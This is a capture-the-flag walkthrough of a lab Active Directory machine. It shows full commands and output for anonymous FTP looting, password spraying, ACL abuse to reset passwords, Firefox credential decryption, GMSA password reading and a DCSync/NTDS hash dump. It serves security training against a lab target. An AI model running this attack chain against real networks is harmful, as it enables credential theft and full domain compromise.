Scenario: Stellar Communications, a regional telecommunications provider, has retained the Hack Smarter Red Team to conduct a covert internal network penetration test. The client is concerned about the resilience of their internal Active Directory infrastructure against insider threats and compromised VPN endpoints. Your objective is to simulate a compromised remote worker, pivot through the internal network, and demonstrate the ability to compromise high-value targets.

Initial Access: Our initial access team has successfully established a VPN tunnel into the environment. We have identified a valid username, likely belonging to a new hire or junior staff member.

Valid User:
Username: junior.analyst
Password: Unknown

It is a medium-difficulty Active Directory machine on HackSmarter Labs.

Nmap

Let’s scan the machine to see what services are accessible.

nmap -v 10.1.3.48 -p- -oN nmap/ports_

Nmap scan report for 10.1.3.48
Host is up (0.024s latency).
Not shown: 65506 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
3389/tcp  open  ms-wbt-server
5985/tcp  open  wsman
9389/tcp  open  adws
47001/tcp open  winrm
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49668/tcp open  unknown
49669/tcp open  unknown
49674/tcp open  unknown
49679/tcp open  unknown
49680/tcp open  unknown
49682/tcp open  unknown
49685/tcp open  unknown
49724/tcp open  unknown
49756/tcp open  unknown
└─$ echo '21/tcp    open  ftp 
53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
3389/tcp  open  ms-wbt-server
5985/tcp  open  wsman
9389/tcp  open  adws
47001/tcp open  winrm
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49668/tcp open  unknown
49669/tcp open  unknown
49674/tcp open  unknown
49679/tcp open  unknown
49680/tcp open  unknown
49682/tcp open  unknown
49685/tcp open  unknown
49724/tcp open  unknown
49756/tcp open  unknown' | cut -d '/' -f1 | tr '\n' ','
21,53,80,88,135,139,389,445,464,593,636,3268,3269,3389,5985,9389,47001,49664,49665,49666,49668,49669,49674,49679,49680,49682,49685,49724,49756,
└─$ nmap -v 10.1.3.48 -p21,53,80,88,135,139,389,445,464,593,636,3268,3269,3389,5985,9389,47001,49664,49665,49666,49668,49669,49674,49679,49680,49682,49685,49724,49756 -A -oN nmap/service_

Nmap scan report for 10.1.3.48
Host is up (0.083s latency).

PORT      STATE SERVICE       VERSION
21/tcp    open  ftp           Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 09-12-25  11:29AM       <DIR>          Docs
| 09-10-25  11:15AM       <DIR>          IT
|_09-10-25  11:44AM       <DIR>          Pics
| ftp-syst: 
|_  SYST: Windows_NT
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-01-29 15:30:40Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: stellarcomms.local0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: stellarcomms.local0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2026-01-29T15:31:57+00:00; 0s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: STELLARCOMMS
|   NetBIOS_Domain_Name: STELLARCOMMS
|   NetBIOS_Computer_Name: DC-STELLAR
|   DNS_Domain_Name: stellarcomms.local
|   DNS_Computer_Name: DC-STELLAR.stellarcomms.local
|   Product_Version: 10.0.17763
|_  System_Time: 2026-01-29T15:31:49+00:00
| ssl-cert: Subject: commonName=DC-STELLAR.stellarcomms.local
| Issuer: commonName=DC-STELLAR.stellarcomms.local
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-01-14T20:49:24
| Not valid after:  2026-07-16T20:49:24
| MD5:   60b7:e7b5:e059:9638:3b29:0c74:26c7:feb8
|_SHA-1: 505d:8c3a:b2b5:85aa:8166:55c6:53d9:1af4:058a:83aa
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49674/tcp open  msrpc         Microsoft Windows RPC
49679/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49680/tcp open  msrpc         Microsoft Windows RPC
49682/tcp open  msrpc         Microsoft Windows RPC
49685/tcp open  msrpc         Microsoft Windows RPC
49724/tcp open  msrpc         Microsoft Windows RPC
49756/tcp open  msrpc         Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019|10|2012|2022|2016 (93%)
OS CPE: cpe:/o:microsoft:windows_server_2019 cpe:/o:microsoft:windows_10 cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_server_2022 cpe:/o:microsoft:windows_server_2016
Aggressive OS guesses: Microsoft Windows Server 2019 (93%), Microsoft Windows 10 1909 (90%), Microsoft Windows 10 1909 - 2004 (89%), Windows Server 2019 (88%), Microsoft Windows Server 2012 R2 (88%), Microsoft Windows Server 2012 Data Center (88%), Microsoft Windows Server 2022 (87%), Microsoft Windows 10 20H2 - 21H1 (87%), Microsoft Windows Server 2016 (87%), Microsoft Windows 10 21H2 (86%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 3 hops
TCP Sequence Prediction: Difficulty=261 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: Host: DC-STELLAR; OS: Windows; CPE: cpe:/o:microsoft:windows

Enumerating Services

Looking at the scans, there are several ports that are worth enumerating including FTP, website at port 80, and SMB. I will start with enumerating FTP as the scans shows that anonymous authentication is enabled.

FTP

Connecting to the FTP shows several PDF files under the Docs directory. Download the files from the directory and look at each file to see if there is any interesting information that might be useful.

└─$ ftp anonymous@10.1.3.48                                                                                                                             
Connected to 10.1.3.48.
220 Microsoft FTP Service
331 Anonymous access allowed, send identity (e-mail name) as password.
Password: 
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
229 Entering Extended Passive Mode (|||49881|)
125 Data connection already open; Transfer starting.
09-12-25  11:29AM       <DIR>          Docs
09-10-25  11:15AM       <DIR>          IT
09-10-25  11:44AM       <DIR>          Pics
226 Transfer complete.
ftp> cd Docs
250 CWD command successful.
ftp> ls
229 Entering Extended Passive Mode (|||49882|)
125 Data connection already open; Transfer starting.
09-10-25  12:11PM                82434 Browser_policy.pdf
09-10-25  12:02PM                 1288 LEO_2A_Report.txt
09-10-25  12:03PM                 1024 LEO_3B_Report.txt
09-10-25  12:03PM                 1101 LEO_5C_Report.txt
09-10-25  11:35AM                71171 StellarComms_Whitepaper.pdf
09-12-25  11:26AM                87925 Stellar_UserGuide.pdf
09-10-25  11:12AM                  185 Transmission_Schedule.txt
226 Transfer complete.
ftp> 
ftp> prompt off
Interactive mode off.
ftp> mget *
local: Browser_policy.pdf remote: Browser_policy.pdf
229 Entering Extended Passive Mode (|||49935|)
150 Opening ASCII mode data connection.
100% |************************************************************************************************************************************************************************************************| 82434      780.46 KiB/s    00:00 ETA
226 Transfer complete.
WARNING! 500 bare linefeeds received in ASCII mode.
File may not have transferred correctly.
82434 bytes received in 00:00 (768.39 KiB/s)
local: LEO_2A_Report.txt remote: LEO_2A_Report.txt
229 Entering Extended Passive Mode (|||49936|)
125 Data connection already open; Transfer starting.
100% |************************************************************************************************************************************************************************************************|  1288       52.13 KiB/s    00:00 ETA
226 Transfer complete.
1288 bytes received in 00:00 (37.87 KiB/s)
local: LEO_3B_Report.txt remote: LEO_3B_Report.txt
229 Entering Extended Passive Mode (|||49937|)
125 Data connection already open; Transfer starting.
100% |************************************************************************************************************************************************************************************************|  1024       40.52 KiB/s    00:00 ETA
226 Transfer complete.
1024 bytes received in 00:00 (32.21 KiB/s)
local: LEO_5C_Report.txt remote: LEO_5C_Report.txt
229 Entering Extended Passive Mode (|||49938|)
125 Data connection already open; Transfer starting.
100% |************************************************************************************************************************************************************************************************|  1101       41.31 KiB/s    00:00 ETA
226 Transfer complete.
1101 bytes received in 00:00 (37.10 KiB/s)
local: StellarComms_Whitepaper.pdf remote: StellarComms_Whitepaper.pdf
229 Entering Extended Passive Mode (|||49939|)
125 Data connection already open; Transfer starting.
100% |************************************************************************************************************************************************************************************************| 71171      885.10 KiB/s    00:00 ETA
226 Transfer complete.
WARNING! 376 bare linefeeds received in ASCII mode.
File may not have transferred correctly.
71171 bytes received in 00:00 (871.40 KiB/s)
local: Stellar_UserGuide.pdf remote: Stellar_UserGuide.pdf
229 Entering Extended Passive Mode (|||49940|)
150 Opening ASCII mode data connection.
100% |************************************************************************************************************************************************************************************************| 87925      796.81 KiB/s    00:00 ETA
226 Transfer complete.
WARNING! 792 bare linefeeds received in ASCII mode.
File may not have transferred correctly.
87925 bytes received in 00:00 (751.94 KiB/s)
local: Transmission_Schedule.txt remote: Transmission_Schedule.txt
229 Entering Extended Passive Mode (|||49941|)
125 Data connection already open; Transfer starting.
100% |************************************************************************************************************************************************************************************************|   185        7.04 KiB/s    00:00 ETA
226 Transfer complete.
185 bytes received in 00:00 (5.03 KiB/s)
ftp> 

Stellar_UserGuide.pdf file mentions the default password for the newly created accounts. default_password

Browser_policy.pdf document mentions the use of Firefox as the approved browser to be used by the employees. I will keep this in mind for later once we get initial access. BrowserPolicy

SMB

We were given with a valid username, let’s try the password we found from the document to see if it still works.

└─$ nxc smb 10.1.3.48 -u junior.analyst -p [REDACTED]                                 
SMB         10.1.3.48       445    DC-STELLAR       [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC-STELLAR) (domain:stellarcomms.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.1.3.48       445    DC-STELLAR       [+] stellarcomms.local\junior.analyst:[REDACTED]

The credentials work. Now we enumerate the DC by enumerating accessible shares, get a list of users, and also get BloodHound data.

└─$ nxc smb 10.1.3.48 -u junior.analyst -p [REDACTED] --shares                         
SMB         10.1.3.48       445    DC-STELLAR       [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC-STELLAR) (domain:stellarcomms.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.1.3.48       445    DC-STELLAR       [+] stellarcomms.local\junior.analyst:[REDACTED] 
SMB         10.1.3.48       445    DC-STELLAR       [*] Enumerated shares
SMB         10.1.3.48       445    DC-STELLAR       Share           Permissions     Remark
SMB         10.1.3.48       445    DC-STELLAR       -----           -----------     ------
SMB         10.1.3.48       445    DC-STELLAR       ADMIN$                          Remote Admin
SMB         10.1.3.48       445    DC-STELLAR       C$                              Default share
SMB         10.1.3.48       445    DC-STELLAR       IPC$            READ            Remote IPC
SMB         10.1.3.48       445    DC-STELLAR       NETLOGON        READ            Logon server share 
SMB         10.1.3.48       445    DC-STELLAR       SYSVOL          READ            Logon server share
└─$ nxc smb 10.1.3.48 -u junior.analyst -p [REDACTED] --rid-brute | grep SidTypeUser | cut -d '\' -f2 | cut -d ' ' -f1
Administrator
Guest
krbtgt
DC-STELLAR$
junior.analyst
ops.controller
astro.researcher
eng.payload
SATLINK-SERVICE$
                                                                                                                                                                                                                                             

└─$ nxc smb 10.1.3.48 -u junior.analyst -p [REDACTED] --rid-brute | grep SidTypeUser | cut -d '\' -f2 | cut -d ' ' -f1 > users.txt

I will also spray the default password to see if any other user is still using the same default password.

└─$ nxc smb 10.1.3.48 -u users.txt -p [REDACTED] --continue-on-success                                             
SMB         10.1.3.48       445    DC-STELLAR       [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC-STELLAR) (domain:stellarcomms.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.1.3.48       445    DC-STELLAR       [-] stellarcomms.local\Administrator:[REDACTED] STATUS_LOGON_FAILURE 
SMB         10.1.3.48       445    DC-STELLAR       [-] stellarcomms.local\DC-STELLAR$:[REDACTED] STATUS_LOGON_FAILURE 
SMB         10.1.3.48       445    DC-STELLAR       [+] stellarcomms.local\junior.analyst:[REDACTED] 
SMB         10.1.3.48       445    DC-STELLAR       [-] stellarcomms.local\ops.controller:[REDACTED] STATUS_LOGON_FAILURE 
SMB         10.1.3.48       445    DC-STELLAR       [-] stellarcomms.local\astro.researcher:[REDACTED] STATUS_LOGON_FAILURE 
SMB         10.1.3.48       445    DC-STELLAR       [-] stellarcomms.local\eng.payload:[REDACTED] STATUS_LOGON_FAILURE 
SMB         10.1.3.48       445    DC-STELLAR       [-] stellarcomms.local\SATLINK-SERVICE$:[REDACTED] STATUS_LOGON_FAILURE

No other user is using the default password. Let’s get BloodHound data to see what rights this user has.

Shell as Ops.Controller

└─$ nxc ldap 10.1.3.48 -u junior.analyst -p [REDACTED] --bloodhound -c all --dns-server 10.1.3.48
LDAP        10.1.3.48       389    DC-STELLAR       [*] Windows 10 / Server 2019 Build 17763 (name:DC-STELLAR) (domain:stellarcomms.local) (signing:None) (channel binding:No TLS cert) 
LDAP        10.1.3.48       389    DC-STELLAR       [+] stellarcomms.local\junior.analyst:[REDACTED] 
LDAP        10.1.3.48       389    DC-STELLAR       Resolved collection methods: group, localadmin, objectprops, psremote, container, session, rdp, dcom, trusts, acl
LDAP        10.1.3.48       389    DC-STELLAR       Done in 0M 6S
LDAP        10.1.3.48       389    DC-STELLAR       Compressing output into /home/kali/.nxc/logs/DC-STELLAR_10.1.3.48_2026-01-29_164535_bloodhound.zip

Attack Path

Looking at the BloodHound, we have an attack path from junior.analyst to ops.controller. junior.analyst has WriteOwner over StellarOps-Control meaning it can modify the owner for the OU. StellarOps-Control members has ForceChangePassword over ops.controller. I will add junior.analyst to be the owner of the group, assign AddMember rights and add this user to the group. Finally, we can change the password for the ops.controller.

Attack Path

└─$ owneredit.py -action write -new-owner 'junior.analyst' -target 'stellarops-control' stellarcomms.local/junior.analyst:[REDACTED] -dc-ip 10.1.3.48
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Current owner information below
[*] - SID: S-1-5-21-1085439814-3345093241-3808503133-512
[*] - sAMAccountName: Domain Admins
[*] - distinguishedName: CN=Domain Admins,CN=Users,DC=stellarcomms,DC=local
[*] OwnerSid modified successfully!

Assigning AddMember right over StellarOps-Control to junior.analyst.

└─$ dacledit.py -action 'write' -rights 'WriteMembers' -principal 'junior.analyst' -target 'stellarops-control' stellarcomms.local/junior.analyst:[REDACTED] -dc-ip 10.1.3.48       
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] DACL backed up to dacledit-20260129-170103.bak
[*] DACL modified successfully!

Adding junior.analyst to the StellarOps-Control.

└─$ bloodyAD --host 10.1.3.48 -d stellarcomms.local -u junior.analyst -p [REDACTED] add groupMember 'stellarops-control' 'junior.analyst'
[+] junior.analyst added to stellarops-control

Changing the password of the ops.controller

└─$ nxc smb 10.1.3.48 -u junior.analyst -p [REDACTED] -M change-password -o USER='ops.controller' NEWPASS='Password123!'
SMB         10.1.3.48       445    DC-STELLAR       [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC-STELLAR) (domain:stellarcomms.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.1.3.48       445    DC-STELLAR       [+] stellarcomms.local\junior.analyst:[REDACTED] 
CHANGE-P... 10.1.3.48       445    DC-STELLAR       [+] Successfully changed password for ops.controller

Reading Flag

ops.controller is a member of the Remote Management Users. We can connect to the DC and get the user flag. OpsBH

└─$ evil-winrm-py -i 10.1.3.48 -u ops.controller -p 'Password123!'                            
          _ _            _                             
  _____ _(_| |_____ __ _(_)_ _  _ _ _ __ ___ _ __ _  _ 
 / -_\ V | | |___\ V  V | | ' \| '_| '  |___| '_ | || |
 \___|\_/|_|_|    \_/\_/|_|_||_|_| |_|_|_|  | .__/\_, |
                                            |_|   |__/  v1.5.0

[*] Connecting to '10.1.3.48:5985' as 'ops.controller'
evil-winrm-py PS C:\Users\ops.controller\Documents> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State  
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
evil-winrm-py PS C:\Users\ops.controller> tree /f /a
Folder PATH listing
Volume serial number is 1039-3341
C:.
+---3D Objects
+---Contacts
+---Desktop
|       Firefox Setup 91.0esr.exe
|       user.txt
|       
+---Documents
+---Downloads
+---Favorites
|   |   Bing.url
|   |   
|   \---Links
+---Links
|       Desktop.lnk
|       Downloads.lnk
|       
+---Music
+---Pictures
+---Saved Games
+---Searches
\---Videos

Shell as Administrator

Enumeration

evil-winrm-py PS C:\Users> dir


    Directory: C:\Users


Mode                LastWriteTime         Length Name                                                                   
----                -------------         ------ ----                                                                   
d-----        9/10/2025   7:01 AM                Administrator                                                          
d-----        9/10/2025  11:19 AM                ops.controller                                                         
d-r---        9/10/2025   7:01 AM                Public                                                                 

Checking web server directory if it is owned by Administrator and possibly get a quick win.

evil-winrm-py PS C:\> cd inetpub
evil-winrm-py PS C:\inetpub> ls


    Directory: C:\inetpub


Mode                LastWriteTime         Length Name                                                                   
----                -------------         ------ ----                                                                   
d-----        9/10/2025   7:21 AM                custerr                                                                
d-----        9/10/2025  12:44 PM                ftproot                                                                
d-----        9/10/2025  11:44 AM                history                                                                
d-----        9/10/2025   9:11 AM                logs                                                                   
d-----        9/10/2025   7:21 AM                temp                                                                   
d-----        9/10/2025   3:03 PM                wwwroot                                                                


evil-winrm-py PS C:\inetpub> cd wwwroot
evil-winrm-py PS C:\inetpub\wwwroot> ls


    Directory: C:\inetpub\wwwroot


Mode                LastWriteTime         Length Name                                                                   
----                -------------         ------ ----                                                                   
-a----        9/10/2025   3:03 PM        3732338 index.html                                                             
-a----        9/10/2025   3:16 PM          24050 satellite.html                                                         
-a----        9/10/2025   8:20 AM         147318 satellite1.jpg                                                         
-a----        9/10/2025   8:20 AM         206627 satellite2.jpg                                                         
-a----        9/10/2025   8:20 AM         150092 satellite3.jpg                                                         
-a----        9/10/2025   8:20 AM          94370 satellite4.jpg                                                         
-a----        9/10/2025   8:21 AM        2027923 satellite5.jpg                                                         
-a----        9/10/2025   9:45 AM         433251 satellite6.jpg                                                         


evil-winrm-py PS C:\inetpub\wwwroot> icacls .
. NT AUTHORITY\LOCAL SERVICE:(F)
  NT AUTHORITY\LOCAL SERVICE:(OI)(CI)(IO)(F)
  NT AUTHORITY\NETWORK SERVICE:(F)
  NT AUTHORITY\NETWORK SERVICE:(OI)(CI)(IO)(F)
  BUILTIN\IIS_IUSRS:(RX)
  BUILTIN\IIS_IUSRS:(OI)(CI)(IO)(GR,GE)
  NT SERVICE\TrustedInstaller:(I)(F)
  NT SERVICE\TrustedInstaller:(I)(OI)(CI)(IO)(F)
  NT AUTHORITY\SYSTEM:(I)(F)
  NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
  BUILTIN\Administrators:(I)(F)
  BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
  BUILTIN\Users:(I)(RX)
  BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
  CREATOR OWNER:(I)(OI)(CI)(IO)(F)

Successfully processed 1 files; Failed processing 0 files
evil-winrm-py PS C:\> ls "Program Files"


    Directory: C:\Program Files


Mode                LastWriteTime         Length Name                                                                   
----                -------------         ------ ----                                                                   
d-----        1/15/2026  12:48 PM                Amazon                                                                 
d-----        9/15/2018  12:28 AM                Common Files                                                           
d-----        11/5/2022  12:03 PM                internet explorer                                                      
d-----        1/22/2026   2:15 PM                Mozilla Firefox                                                        
d-----        9/10/2025   7:07 AM                Oracle                                                                 
d-----        9/10/2025   8:59 AM                Reference Assemblies                                                   
d-----        9/11/2025   7:58 AM                Windows Defender                                                       
d-----        11/5/2022  12:03 PM                Windows Defender Advanced Threat Protection                            
d-----        11/5/2022  12:03 PM                Windows Mail                                                           
d-----        11/5/2022  12:03 PM                Windows Media Player                                                   
d-----        9/15/2018  12:19 AM                Windows Multimedia Platform                                            
d-----        9/15/2018  12:28 AM                windows nt                                                             
d-----        11/5/2022  12:03 PM                Windows Photo Viewer                                                   
d-----        9/15/2018  12:19 AM                Windows Portable Devices                                               
d-----        9/15/2018  12:19 AM                Windows Security                                                       
d-----        9/15/2018  12:19 AM                WindowsPowerShell 

Reading Powershell history file to see any useful information. Apparently, this user was removed from the Print Operators group. Access rights for this user is limited so this information is not helpful.

evil-winrm-py PS C:\> ls \Users\ops.controller\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt


    Directory: C:\Users\ops.controller\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine


Mode                LastWriteTime         Length Name                                                                   
----                -------------         ------ ----                                                                   
-a----        9/10/2025  11:19 AM             92 ConsoleHost_history.txt                                                


evil-winrm-py PS C:\> type \Users\ops.controller\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
Remove-ADGroupMember -Identity "Print Operators" -Members "ops.controller" -Confirm:$false

Firefox Credentials

Recall that the initial PDF documents showed that employees should be using Firefox as the default browser. I will look if there are any Firefox profiles for this user. It may have any stored credentials that can help us with lateral movement.

evil-winrm-py PS C:\Users\ops.controller\Documents> ls $env:APPDATA\Mozilla\Firefox\Profiles\


    Directory: C:\Users\ops.controller\AppData\Roaming\Mozilla\Firefox\Profiles


Mode                LastWriteTime         Length Name                                                                   
----                -------------         ------ ----                                                                   
d-----        9/10/2025  11:25 AM                67wyfsfs.default                                                       
d-----        9/10/2025   3:26 PM                v8mn7ijj.default-esr 

evil-winrm-py PS C:\Users\ops.controller\Documents> ls $env:APPDATA\Mozilla\Firefox\Profiles\67wyfsfs.default


    Directory: C:\Users\ops.controller\AppData\Roaming\Mozilla\Firefox\Profiles\67wyfsfs.default


Mode                LastWriteTime         Length Name                                                                   
----                -------------         ------ ----                                                                   
-a----        9/10/2025  11:25 AM             47 times.json

evil-winrm-py PS C:\Users\ops.controller\Documents> ls $env:APPDATA\Mozilla\Firefox\Profiles\v8mn7ijj.default-esr


    Directory: C:\Users\ops.controller\AppData\Roaming\Mozilla\Firefox\Profiles\v8mn7ijj.default-esr


Mode                LastWriteTime         Length Name                                                                   
----                -------------         ------ ----                                                                   
d-----        9/10/2025  11:38 AM                bookmarkbackups                                                        
d-----        9/10/2025  11:25 AM                browser-extension-data                                                 
d-----        9/10/2025  11:30 AM                crashes                                                                
d-----        9/10/2025   3:26 PM                datareporting                                                          
d-----        9/10/2025  11:35 AM                features                                                               
d-----        9/10/2025  11:30 AM                gmp-gmpopenh264                                                        
d-----        9/10/2025  11:31 AM                gmp-widevinecdm                                                        
d-----        9/10/2025  11:25 AM                minidumps                                                              
d-----        9/10/2025   3:26 PM                saved-telemetry-pings                                                  
d-----        9/10/2025  11:25 AM                security_state                                                         
d-----        9/10/2025  11:30 AM                sessionstore-backups                                                   
d-----        9/10/2025  11:25 AM                storage                                                                
-a----        9/10/2025  11:35 AM             24 addons.json                                                            
-a----        9/10/2025  11:28 AM           3904 addonStartup.json.lz4                                                  
-a----        9/10/2025   3:14 PM           1234 AlternateServices.txt                                                  
-a----        9/10/2025  11:30 AM            204 broadcast-listeners.json                                               
-a----        9/10/2025  11:35 AM         229376 cert9.db                                                               
-a----        9/10/2025  11:25 AM            197 compatibility.ini                                                      
-a----        9/10/2025  11:25 AM            939 containers.json                                                        
-a----        9/10/2025  11:25 AM         229376 content-prefs.sqlite                                                   
-a----        9/10/2025  11:25 AM          98304 cookies.sqlite                                                         
-a----        9/10/2025  11:25 AM           1241 extension-preferences.json                                             
-a----        9/10/2025  11:37 AM          37902 extensions.json                                                        
-a----        9/10/2025  11:25 AM        5242880 favicons.sqlite                                                        
-a----        9/10/2025  11:29 AM         262144 formhistory.sqlite                                                     
-a----        9/10/2025  11:25 AM            683 handlers.json                                                          
-a----        9/10/2025  11:29 AM         294912 key4.db                                                                
-a----        9/10/2025  11:29 AM            671 logins.json                                                            
-a----        9/10/2025  11:28 AM              0 parent.lock                                                            
-a----        9/10/2025  12:04 PM          98304 permissions.sqlite                                                     
-a----        9/10/2025  11:25 AM            509 pkcs11.txt                                                             
-a----        9/10/2025   3:26 PM        5242880 places.sqlite                                                          
-a----        9/10/2025   3:26 PM           9885 prefs.js                                                               
-a----        9/10/2025  11:25 AM          65536 protections.sqlite                                                     
-a----        9/10/2025  11:28 AM            185 search.json.mozlz4                                                     
-a----        9/10/2025   3:26 PM            288 sessionCheckpoints.json                                                
-a----        9/10/2025   3:26 PM           1903 sessionstore.jsonlz4                                                   
-a----        9/10/2025  11:25 AM             18 shield-preference-experiments.json                                     
-a----        9/10/2025  12:34 PM            651 SiteSecurityServiceState.txt                                           
-a----        9/10/2025   3:26 PM           4096 storage.sqlite                                                         
-a----        9/10/2025  11:25 AM             50 times.json                                                             
-a----        9/10/2025  11:25 AM          98304 webappsstore.sqlite                                                    
-a----        9/10/2025  11:34 AM            219 xulstore.json

Let’s get this profile and get credentials from it using the firefox_decrypt tool. I will create a zip file of the profile and download it from the machine.

evil-winrm-py PS C:\Users\ops.controller\AppData\Roaming\Mozilla\Firefox\Profiles> tar.exe -a -c -f mozilla.zip v8mn7ijj.default-esr
evil-winrm-py PS C:\Users\ops.controller\AppData\Roaming\Mozilla\Firefox\Profiles> ls


    Directory: C:\Users\ops.controller\AppData\Roaming\Mozilla\Firefox\Profiles


Mode                LastWriteTime         Length Name                                                                   
----                -------------         ------ ----                                                                   
d-----        9/10/2025  11:25 AM                67wyfsfs.default                                                       
d-----        9/10/2025   3:26 PM                v8mn7ijj.default-esr                                                   
-a----        1/29/2026   2:12 PM       11532298 mozilla.zip                                                            


evil-winrm-py PS C:\Users\ops.controller\AppData\Roaming\Mozilla\Firefox\Profiles> download mozilla.zip .
Downloading C:\Users\ops.controller\AppData\Roaming\Mozilla\Firefox\Profiles\mozilla.zip: 11.0MB [00:06, 1.87MB/s]                                                                                                                           
[+] File downloaded successfully and saved as: /home/kali/Downloads/HackSmarterLabs/Stella/mozilla.zip
└─$ unzip mozilla.zip

└─$ python3 firefox_decrypt.py ../v8mn7ijj.default-esr/
2026-01-29 23:14:28,904 - WARNING - profile.ini not found in ../v8mn7ijj.default-esr/
2026-01-29 23:14:28,905 - WARNING - Continuing and assuming '../v8mn7ijj.default-esr/' is a profile location

Website:   http://portal.stellarcomms.local
Username: 'astro.researcher'
Password: [REDACTED]

Privilege Escalation

We get credentials for astro.researcher user. Looking at the BloodHound, we have a clear path to DC. astro.researcher has WriteDACL over eng.payload that can read GMSAPassword for SATLINK-SERVICE$. SATLINK-SERVICE$ has DCSYNC over the domain. Let’s exploit this attack path.

Admin Attack Path

└─$ dacledit.py -action 'write' -rights 'FullControl' -principal 'astro.researcher' -target 'eng.payload' stellarcomms.local/astro.researcher:[REDACTED] -dc-ip 10.1.3.48
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] DACL backed up to dacledit-20260129-232432.bak
[*] DACL modified successfully!
└─$ nxc smb 10.1.3.48 -u astro.researcher -p [REDACTED] -M change-password -o USER=eng.payload NEWPASS='Password123!'                                                    
SMB         10.1.3.48       445    DC-STELLAR       [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC-STELLAR) (domain:stellarcomms.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.1.3.48       445    DC-STELLAR       [+] stellarcomms.local\astro.researcher:[REDACTED] 
CHANGE-P... 10.1.3.48       445    DC-STELLAR       [+] Successfully changed password for eng.payload

Reading GMSAPassword for SATLINK-SERVICE$.

└─$ nxc ldap 10.1.3.48 -u eng.payload -p 'Password123!' --gmsa
LDAP        10.1.3.48       389    DC-STELLAR       [*] Windows 10 / Server 2019 Build 17763 (name:DC-STELLAR) (domain:stellarcomms.local) (signing:None) (channel binding:No TLS cert) 
LDAP        10.1.3.48       389    DC-STELLAR       [+] stellarcomms.local\eng.payload:Password123! 
LDAP        10.1.3.48       389    DC-STELLAR       [*] Getting GMSA Passwords
LDAP        10.1.3.48       389    DC-STELLAR       Account: SATLINK-SERVICE$     NTLM: [REDACTED]     PrincipalsAllowedToReadPassword: ['eng.payload', 'SATLINK-SERVICE$']

Getting all hashes using DCSYNC attack.

└─$ nxc smb 10.1.3.48 -u 'SATLINK-SERVICE$' -H [REDACTED] --ntds
